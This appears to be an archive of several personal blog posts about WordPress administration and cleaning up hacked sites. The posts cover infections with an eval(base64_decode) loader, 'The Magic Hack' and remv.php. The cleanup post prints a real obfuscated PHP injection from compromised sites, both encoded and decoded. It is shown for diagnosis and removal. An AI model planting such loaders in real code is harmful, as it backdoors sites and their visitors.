Category: WordPress

If you weren’t already aware, the gang at WordPress just shipped a pretty critical security update. In fact, it’s kind of a big deal. So much so that I went around and patched all my sites the second their update on the matter hit my phone.

Since I’ve put a lot of energy into helping folks recover their hacked sites as of late, I figured I’d draw up a quick Twitter PSA for a few of my friends who make a living thru their WP sites:

You *really* need to upgrade the copy of WordPress on your blog when you get a chance. Go to “Dashboard > Updates” in wp-admin to run one.

After sending that out as a direct message a handful of times, I figured that some of the other nerds out there might appreciate having that too. So here it is — free to use it as you see fit!

P.S. Should you not know how to check the version number on a friend’s WordPress site you can normally locate it using one of two methods:

1. Use view source in your browser and then do a find for “generator”. That should show you the meta tag that WordPress inserts into the page for usage metrics and such.
2. Add “readme.html” to the end of the blog URL. This doesn’t always work, but most folks leave the WordPress ReadMe file (which contains WP’s version number) in place.

I’ve been seeing this code crop up a lot in some of the recent WordPress hacks that I’ve had to diagnose:

< ?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3VzZXIvZG9tYWluLmNvbS93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

Most folks with this issue have a problem with “wp-login.php” returning a blank page for users trying to get into “wp-admin” — so if you’re seeing that, it may be a good sign that this is to blame.

Running that bit of nastiness above thru a base64 decoder gets us this:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/user/domain.com/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

Hrm. Let’s go ahead and have a look at “wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/”…

-rw-r--r-- 2 user group 13789 2010-08-10 06:20 bi
-rw-r--r-- 1 user group 212 2008-10-28 03:59 butt2.png
-rw-r--r-- 1 user group 5859 2008-01-31 10:10 button_bg.png
-rw-r--r-- 2 user group 880 2010-12-26 02:32 cnf
-rw-r--r-- 2 user group 50 2010-12-24 03:38 csi
-rw-r--r-- 1 user group 60 2008-01-31 10:10 down_arrow.gif
-rw-r--r-- 1 user group 785 2008-01-31 10:10 fade-butt.png
-rw-r--r-- 2 user group 1223 2010-07-29 20:55 ggl
-rw-r--r-- 2 user group 68 2010-04-07 22:44 kwd
-rw-r--r-- 2 user group 23813 2010-12-26 02:32 lb
-rw-r--r-- 2 user group 0 2010-04-07 07:35 lock
-rw-r--r-- 2 user group 225 2010-12-24 03:38 rlf
-rw-r--r-- 2 user group 62159 2010-03-29 19:23 s.php
-rw-r--r-- 1 user group 57 2008-01-31 10:10 separator.gif
-rw-r--r-- 2 user group 89338 2010-03-30 02:09 skwd
-rw-r--r-- 2 user group 254760 2010-12-23 03:06 style.css.php
-rw-r--r-- 2 user group 402 2010-03-30 02:09 swf
-rw-r--r-- 1 user group 1326 2008-02-21 13:40 tabs.gif

Wait a minute. That directory in a fresh install looks like…

-rw-r--r-- 1 user group 212 2010-12-08 12:59 butt2.png
-rw-r--r-- 1 user group 5859 2010-12-08 12:59 button_bg.png
-rw-r--r-- 1 user group 60 2010-12-08 12:59 down_arrow.gif
-rw-r--r-- 1 user group 785 2010-12-08 12:59 fade-butt.png
-rw-r--r-- 1 user group 57 2010-12-08 12:59 separator.gif
-rw-r--r-- 1 user group 1326 2010-12-08 12:59 tabs.gif

So “style.css.php” shouldn’t even exist at that location.  In fact, its existence is a solid indicator that your site has been flat out pwn3d.

If you have access to a BSD or Linux shell and do a recursive grep for the first 10 characters piped to a line count at the root of your WordPress install, you’ll get a pretty solid idea of how many files the hackers have managed to infect.

grep -R aWYoZnVuY3 * |wc -l

Just to give you a baseline measurement, I’ve personally seen this code crop up in anywhere from 300 to 1100 files. It really tries its best to be impossible get rid of. Simply unpacking a fresh copy of WordPress over the top of the hacked site won’t work. This nasty piece of work gets into your themes, plugins and even your cached pages.

So what do we do to fix it? I’m glad you asked.

1. Make a backup copy of your current WordPress install. This means on your local computer or in a non-web accessible directory on your host.
2. Remove the exec statement from the top of the infected “wp-config.php” file.
3. Clear out your site’s directory. LEAVE. NOTHING. BEHIND.
4. Install a fresh copy of WordPress into the now clean directory.
5. Drop the tidied up copy of “wp-config.php” into the new install’s root directory.
6. Restore your uploads directory (if you actually use it, that is).
7. Install fresh copies of any WordPress themes and plugins you might need. DO NOT COPY OVER ANY PLUGINS OR THEMES FROM THE INFECTED INSTALL!
8. Since the hacker had enough access to your site to insert their crap, assume that they now have your password info. Change the passwords for your MySQL and WordPress admin users as soon as you can. If you need help with that, the support staff at your host should be able to sort you out.

Now you’re back to (mostly) normal. You may have to make some customizations to your theme here and there — but having to do that is way better than letting your site stay hacked.

Oh, and just to be safe, consider installing Exploit Scanner in your copy of WordPress and running it against your database.  The last thing I’d want is for you to spend all that time cleaning up your site just to have it pwn3d a second time.

Good luck!

P.S. If you do manage to spot something in that scan, let me know! I haven’t had to do a clean-up on one of the installs that I maintain just yet, so any extra info y’all can hook me up with would be helpful for everyone out there affected by this.

Update: I just got to do a cleanup of a friend’s site who was unfortunate enough to get hit. It looks like the database on their site isn’t hiding anything nasty. Still, it’s a wise idea to run Exploit Scanner just to make sure there aren’t any variants of the attack that do write to the database.

Yesterday, I quietly switched this site over from its old Apache server to the much more lightweight combination of nginx + XCache.  As someone who has worked with Apache servers for roughly 14 years now, the thought of moving my personal site to a server environment that I didn’t know how to troubleshoot in great detail was terrifying.  But you start becoming irrelevant the second you allow yourself to stop learning new things.  So I took a play from the Ol’ Jack Burton playbook and said “what the hell?“.

Surprisingly, it’s still chugging along without any complaints.  Most of the thanks for that goes to DreamHost‘s default nginx config and easy to follow tutorial tho.

All I really needed to do to get it going was:

• Select the server from the Private Server configuration menu in the DreamHost web panel.
• Wait for a configuration update to run on the server.
• Flush my local DNS cache.
• Check the HTTP headers to verify I was seeing the right server.
• Comment out a few conflicting mod_rewrite rules from .htaccess.
• Copy and paste new rules into my personal site config file.

And while that might seem like that list had a bunch of stuff in it, I can honestly say that it took no more than 30 minutes to make those changes.

The only weird thing that has happened so far is that it had a weird memory spike last night — but that dropped off this morning for no discernible reason.  Since everything has been level after that, I guess I’ll have to keep an eye on my graphs and make sure it’s not a nightly thing…

P.S. Since I’ve never been one to leave “good enough” alone, I’m going to keep making tweaks (and maybe start piling on a few more active sites) to see what nginx can do. Expect more nerdy updates on this eventually.

After examining a customer’s 150,000+ row wp_comments table at work yesterday, I realized that they’d managed to let WordPress approve a massive amount of spam.  Since there was no way I was going back thru all of that by hand, I knew that I had to come up with something clever.

Fortunately, running your already approved comments thru Akismet is pretty easy.  Well, that might be a bit disingenuous. It’s easy for the geeky types that are comfortable with the MySQL command line and raw queries.  So if you manage to fall into that category, feel free to give this a go…

1. Fire up your favorite MySQL management tool and feed the following command to your WordPress database:
   update wp_comments set comment_approved=’0′ where comment_approved=’1′;
   This tells WordPress to take any comment already flagged as “approved” and set it to “pending”.
2. Visit “Comments” in your WordPress dashboard.  You should notice that you’ve got a bunch of comments under “Pending”.
3. So long as you have Akismet installed, you should have a button marked “Check for Spam”.  Click it.
4. This step is going to require some patience.  You’ll need to wait while Akismet does its thing.  This means chilling out while watching your browser’s “loading” animation spin for a little bit.
   1. If you have a lot of comments — and we’re talking about thousands — you might run into your server’s PHP execution timeout. You’ll know this has happened when you see either a 404 or aren’t redirected back to the “Comments” page.  Don’t panic.
   2. If you run into a timeout, simply press “Back” in your browser and click “Check for Spam” again.  When the number of comments listed under “Pending” stops decreasing, you’re really close to being done!
5. Go back to the MySQL management tool you used in step one and give it one last command:
   update wp_comments set comment_approved=’1′ where comment_approved=’0′;
   This takes the “pending” comments and sets them back to “approved”.
6. Congratulations!  Your comments are now much tidier and you’ve helped stamp out the spammers who’ve gotten past your defenses.  Since your copy of Akismet has just done a bunch of heavy lifting, you might want to consider giving it a bit of a rest by implementing something like Hashcash as your first line of defense. When it comes to fighting spam, they’re a great combination.

If I can hack together a way to work around the PHP execution timeout issue, I’ll do my best to make this into a simple to use plugin.  Since I’ve got a lot on my plate right now, I’d prefer it if the lazyweb could beat me to getting that done.  Any takers?

Have you recently found yourself editing a post on your WordPress install only to find yourself facing the following prompt?

The server at Magic requires a username and password.

Well my friend, you’ve been hacked.  Apparently this has something to do with the cross-site scripting (XSS) bug addressed with the WordPress 2.8.2 and 2.8.3 updates.

I’ve uncreatively dubbed this little baddie “The Magic Hack” and there appears to be a simple way to clear it up.  As it stands, the only file that I’ve seen get affected by this is in “wp-includes/vars.php”.  So if your copy of that file looks nothing like the one available over in the WordPress subversion repository, replace yours with a fresh copy, stat.

In fact, it’d probably be a better idea to upgrade your blog to the most recent version of WordPress using the extended upgrade instructions over on the WordPress Codex.  So yeah, do that instead.

Oh, and if you’re still seeing that prompt after updating “wp-includes/vars.php”, let me know and I’ll update the post when I dig up some more info.

Update: Some people are seeing the hack showing up outside of “wp-includes/vars.php”. If you have SSH access to your server, you should be able to pick out the infected files rather quickly by doing a recursive grep from your site’s root directory:

grep -r -l gzinflate .

This will show you just the filenames where the string “gzinflate” is found. If you want to see the code that grep finds — to provide yourself with a little context — just leave the “-l” switch off of the command.

Should you not have SSH access to the server where your copy of WordPress is installed, I suggest writing your host’s support team. Any host worth their salt wouldn’t mind running the command above and giving you the results.

And if you host your WordPress sites in a Windows based server environment — which doesn’t normally allow for commands like grep — do yourself a favor and go get a real host… ;)

While hacked sites happen, the hacks are fairly benign.  Normally, folks with hacked sites see a few spam links at the bottom of their pages.  That sort of thing can normally be cleaned up with an upgrade.  When I have to deal with them, it also involves a rap on the knuckles and a lecture on the importance of staying on top of upgrades.

I’ve never seen a hack crop up with the tenacity of “remv.php” tho.  Seriously, it’s kind of scary.

I haven’t really had time to go over what all the “remv.php” script does, but I do know that it can be harnessed to send out DDoS (Distributed Denial of Service) attacks to unsuspecting sites.  How do I know this?  Well, about an hour after tossing in “They Live“, I hear Kitchen typing furiously and ask him what’s going on.

There’s a site’s getting DDoS’ed — but the attack is coming from predominately from our own servers.

Shit.  Was it a nasty 0-day worm?  Not so much.  Just a bunch of zombie blogs banging away at this poor bastard’s site.  And what did all those blogs have in common?  “remv.php” was hanging out in their “wp-content/themes” directory.

So in the interest of spreading the word, I’ve got a quick and dirty guide to dealing with sites infected with this nasty little script.

1. Check to see if your WordPress install has “remv.php” in its “wp-content/themes” directory.  This can be accomplished by adding “wp-content/themes/remv.php” to the end of your blog’s URL.  If you see “Access Denied – your host is not allowed to access this page.”, congratulations — you’re part of the problem.
2. If you come up as clear on the previous step, you can always double check by FTP’ing into your server and navigating your directories manually.  The file always seems to show up at “wp-content/themes/remv.php”.  If it’s not there, you’re probably safe — but you should upgrade your WordPress install if it’s not the latest and greatest in order to defend yourself fully.
3. Should you see the file after going over either of the first two steps, go delete “remv.php” while FTP’ed into your server.  Keep the client open tho.  You’re not done.
4. Upgrade your WordPress install.  At the time of this post, the latest stable version is 2.7 and can be acquired directly from WordPress.org.  That’s sure to change as the years roll on tho, so just try to upgrade to whatever the site lists as “stable”.
5. Go to your host and change the MySQL password that coincides with your WordPress database.  If you don’t know how to do this, contact the support staff of your host and have them walk you thru it.
6. Modify the line in your “wp-config.php” file that reads:
   define('DB_PASSWORD', 'myoldpassword');
   There, replace “myoldpassword” with the new MySQL password.
7. Log in to your WordPress admin area and visit “Users > Authors & Users” (that’s what it’s called in version 2.7).  From there, you can edit your users and set new passwords for all of them.  That’s right all of them. No slacking here!  If you stay on top of updates, this shouldn’t happen again.
8. Go back to your FTP client (from step 3) and rename “wp-content/plugins” to something like “wp-content/plugins.bak”. Why you’re doing this should become apparent in the next step.
9. While still in your WP admin interface, visit “Plugins > Installed” (again, this is the name for it in 2.7).  It’ll complain that it can’t find your plugins (because you renamed the directory) and deactivate them for you.  Once it’s deactivated them, use your FTP client to name the directory back to “wp-content/plugins” , refresh “Plugins > Installed” and upgrade all out-of-date plugins before re-activating them.
10. You’re done!  Well, so long as you have only one infected WordPress blog.  If you’ve got more of them, then repeat these steps until everything is happy once again.

If it seems like a lot of crap to go thru, just remember that this wouldn’t be an issue if you kept on top of security patches and made sure your plugins were up to date.  If you really want to avoid doing this again, subscribe to the WordPress Development Blog‘s feed and check it religiously.

If you have any more info on “remv.php”, let me know in the comments and I’ll do what I can to keep this entry up to date.

Update: It looks like “remv.php” is phpRemoteView.  Apparently, it’s pretty popular with the script kiddies, but it’s not the actual exploit that’s being used.  Still, it’s a bad thing that needs to be removed if you find it in your WordPress install.  If you’re interested in getting the gist of what the script is capable of, check out this page translation.

Sorry about the bit of downtime this morning and afternoon, folks! I’ve been trying to spread the hosting for my domains across a few users and I managed to take down my site in the process. Apparently I forgot about the quirks involved in running WordPress under mod_php. D’oh!

Things are back up now tho — PHP as CGI FTW! — so no worries.